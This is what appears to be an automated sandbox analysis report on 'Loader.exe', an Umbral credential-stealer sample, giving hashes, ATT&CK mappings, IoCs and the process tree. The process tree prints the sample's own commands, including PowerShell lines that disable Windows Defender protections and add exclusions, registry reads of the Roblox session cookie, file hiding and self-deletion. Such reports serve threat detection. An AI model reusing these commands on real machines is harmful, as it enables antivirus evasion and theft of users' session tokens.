umbral | f3b9b7af5c2df8fa91f485fbb06712bd3f2e75546b5da0e186172c06a1bd2d53

Analysis

max time kernel
76s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
01-09-2024 20:55

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General

Target

Loader.exe
Size

229KB
MD5

8ec99595eb4b466b230b36944ec38d62
SHA1

bd7127e7b3b3bafc56699168c69099ea15897ee8
SHA256

f3b9b7af5c2df8fa91f485fbb06712bd3f2e75546b5da0e186172c06a1bd2d53
SHA512

58136de78e9c3dcb4fd8c104b46e308df3970aa85023fb4fae429bf4ccddd6f6c28150ef13d0b2c54e7b7a4c95530dbe59f23aa03c689748c06945407dc88a2a
SSDEEP

6144:FloZM+rIkd8g+EtXHkv/iD4W5vt74szHKrd4UBJZnDKZ8e1m5i:HoZtL+EP8W5vt74szHKrd4UBbkz

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2212-1-0x0000000001260000-0x00000000012A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2468	powershell.exe
1956	powershell.exe
2464	powershell.exe
1600	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Loader.exe

Deletes itself 1 IoCs

pid	Process
3068	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3068	cmd.exe
1972	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2884	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1972	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2212	Loader.exe
2468	powershell.exe
2464	powershell.exe
1600	powershell.exe
836	powershell.exe
1956	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2212	Loader.exe
Token: SeIncreaseQuotaPrivilege	2720	wmic.exe
Token: SeSecurityPrivilege	2720	wmic.exe
Token: SeTakeOwnershipPrivilege	2720	wmic.exe
Token: SeLoadDriverPrivilege	2720	wmic.exe
Token: SeSystemProfilePrivilege	2720	wmic.exe
Token: SeSystemtimePrivilege	2720	wmic.exe
Token: SeProfSingleProcessPrivilege	2720	wmic.exe
Token: SeIncBasePriorityPrivilege	2720	wmic.exe
Token: SeCreatePagefilePrivilege	2720	wmic.exe
Token: SeBackupPrivilege	2720	wmic.exe
Token: SeRestorePrivilege	2720	wmic.exe
Token: SeShutdownPrivilege	2720	wmic.exe
Token: SeDebugPrivilege	2720	wmic.exe
Token: SeSystemEnvironmentPrivilege	2720	wmic.exe
Token: SeRemoteShutdownPrivilege	2720	wmic.exe
Token: SeUndockPrivilege	2720	wmic.exe
Token: SeManageVolumePrivilege	2720	wmic.exe
Token: 33	2720	wmic.exe
Token: 34	2720	wmic.exe
Token: 35	2720	wmic.exe
Token: SeIncreaseQuotaPrivilege	2720	wmic.exe
Token: SeSecurityPrivilege	2720	wmic.exe
Token: SeTakeOwnershipPrivilege	2720	wmic.exe
Token: SeLoadDriverPrivilege	2720	wmic.exe
Token: SeSystemProfilePrivilege	2720	wmic.exe
Token: SeSystemtimePrivilege	2720	wmic.exe
Token: SeProfSingleProcessPrivilege	2720	wmic.exe
Token: SeIncBasePriorityPrivilege	2720	wmic.exe
Token: SeCreatePagefilePrivilege	2720	wmic.exe
Token: SeBackupPrivilege	2720	wmic.exe
Token: SeRestorePrivilege	2720	wmic.exe
Token: SeShutdownPrivilege	2720	wmic.exe
Token: SeDebugPrivilege	2720	wmic.exe
Token: SeSystemEnvironmentPrivilege	2720	wmic.exe
Token: SeRemoteShutdownPrivilege	2720	wmic.exe
Token: SeUndockPrivilege	2720	wmic.exe
Token: SeManageVolumePrivilege	2720	wmic.exe
Token: 33	2720	wmic.exe
Token: 34	2720	wmic.exe
Token: 35	2720	wmic.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeIncreaseQuotaPrivilege	1888	wmic.exe
Token: SeSecurityPrivilege	1888	wmic.exe
Token: SeTakeOwnershipPrivilege	1888	wmic.exe
Token: SeLoadDriverPrivilege	1888	wmic.exe
Token: SeSystemProfilePrivilege	1888	wmic.exe
Token: SeSystemtimePrivilege	1888	wmic.exe
Token: SeProfSingleProcessPrivilege	1888	wmic.exe
Token: SeIncBasePriorityPrivilege	1888	wmic.exe
Token: SeCreatePagefilePrivilege	1888	wmic.exe
Token: SeBackupPrivilege	1888	wmic.exe
Token: SeRestorePrivilege	1888	wmic.exe
Token: SeShutdownPrivilege	1888	wmic.exe
Token: SeDebugPrivilege	1888	wmic.exe
Token: SeSystemEnvironmentPrivilege	1888	wmic.exe
Token: SeRemoteShutdownPrivilege	1888	wmic.exe
Token: SeUndockPrivilege	1888	wmic.exe
Token: SeManageVolumePrivilege	1888	wmic.exe
Token: 33	1888	wmic.exe
Token: 34	1888	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 2720	2212	Loader.exe	30
PID 2212 wrote to memory of 2720	2212	Loader.exe	30
PID 2212 wrote to memory of 2720	2212	Loader.exe	30
PID 2212 wrote to memory of 2480	2212	Loader.exe	33
PID 2212 wrote to memory of 2480	2212	Loader.exe	33
PID 2212 wrote to memory of 2480	2212	Loader.exe	33
PID 2212 wrote to memory of 2468	2212	Loader.exe	35
PID 2212 wrote to memory of 2468	2212	Loader.exe	35
PID 2212 wrote to memory of 2468	2212	Loader.exe	35
PID 2212 wrote to memory of 2464	2212	Loader.exe	37
PID 2212 wrote to memory of 2464	2212	Loader.exe	37
PID 2212 wrote to memory of 2464	2212	Loader.exe	37
PID 2212 wrote to memory of 1600	2212	Loader.exe	39
PID 2212 wrote to memory of 1600	2212	Loader.exe	39
PID 2212 wrote to memory of 1600	2212	Loader.exe	39
PID 2212 wrote to memory of 836	2212	Loader.exe	41
PID 2212 wrote to memory of 836	2212	Loader.exe	41
PID 2212 wrote to memory of 836	2212	Loader.exe	41
PID 2212 wrote to memory of 1888	2212	Loader.exe	43
PID 2212 wrote to memory of 1888	2212	Loader.exe	43
PID 2212 wrote to memory of 1888	2212	Loader.exe	43
PID 2212 wrote to memory of 1092	2212	Loader.exe	45
PID 2212 wrote to memory of 1092	2212	Loader.exe	45
PID 2212 wrote to memory of 1092	2212	Loader.exe	45
PID 2212 wrote to memory of 1764	2212	Loader.exe	47
PID 2212 wrote to memory of 1764	2212	Loader.exe	47
PID 2212 wrote to memory of 1764	2212	Loader.exe	47
PID 2212 wrote to memory of 1956	2212	Loader.exe	49
PID 2212 wrote to memory of 1956	2212	Loader.exe	49
PID 2212 wrote to memory of 1956	2212	Loader.exe	49
PID 2212 wrote to memory of 2884	2212	Loader.exe	51
PID 2212 wrote to memory of 2884	2212	Loader.exe	51
PID 2212 wrote to memory of 2884	2212	Loader.exe	51
PID 2212 wrote to memory of 3068	2212	Loader.exe	53
PID 2212 wrote to memory of 3068	2212	Loader.exe	53
PID 2212 wrote to memory of 3068	2212	Loader.exe	53
PID 3068 wrote to memory of 1972	3068	cmd.exe	55
PID 3068 wrote to memory of 1972	3068	cmd.exe	55
PID 3068 wrote to memory of 1972	3068	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2480	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Views/modifies file attributes
  PID:2480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:836
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1956
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2884
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Loader.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1972

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JBRME4LQHTN1Q1ZTHIMQ.temp

Filesize
7KB

MD5
476a9c7facfd350cc3d18b11cc861420

SHA1
059f3732c843d346a6d9a513a3e627232062e2b7

SHA256
4ae0d86e361c8765c66833b59c89aac7169d42815270b372a3eaa346a83bea79

SHA512
4af2e271e66a6b180097041f221e59d184182eea08253602b5df923e0a286c147276b8777549256119a81923e6e66f88790233bfe64bc51252068d89fb9c65eb

Download Submit
memory/1956-44-0x0000000002880000-0x0000000002888000-memory.dmp

Filesize
32KB

Download
memory/1956-43-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2212-0-0x000007FEF64B3000-0x000007FEF64B4000-memory.dmp

Filesize
4KB

Download
memory/2212-1-0x0000000001260000-0x00000000012A0000-memory.dmp

Filesize
256KB

Download
memory/2212-2-0x000007FEF64B0000-0x000007FEF6E9C000-memory.dmp

Filesize
9.9MB

Download
memory/2212-48-0x000007FEF64B0000-0x000007FEF6E9C000-memory.dmp

Filesize
9.9MB

Download
memory/2464-14-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2464-15-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2468-7-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2468-8-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download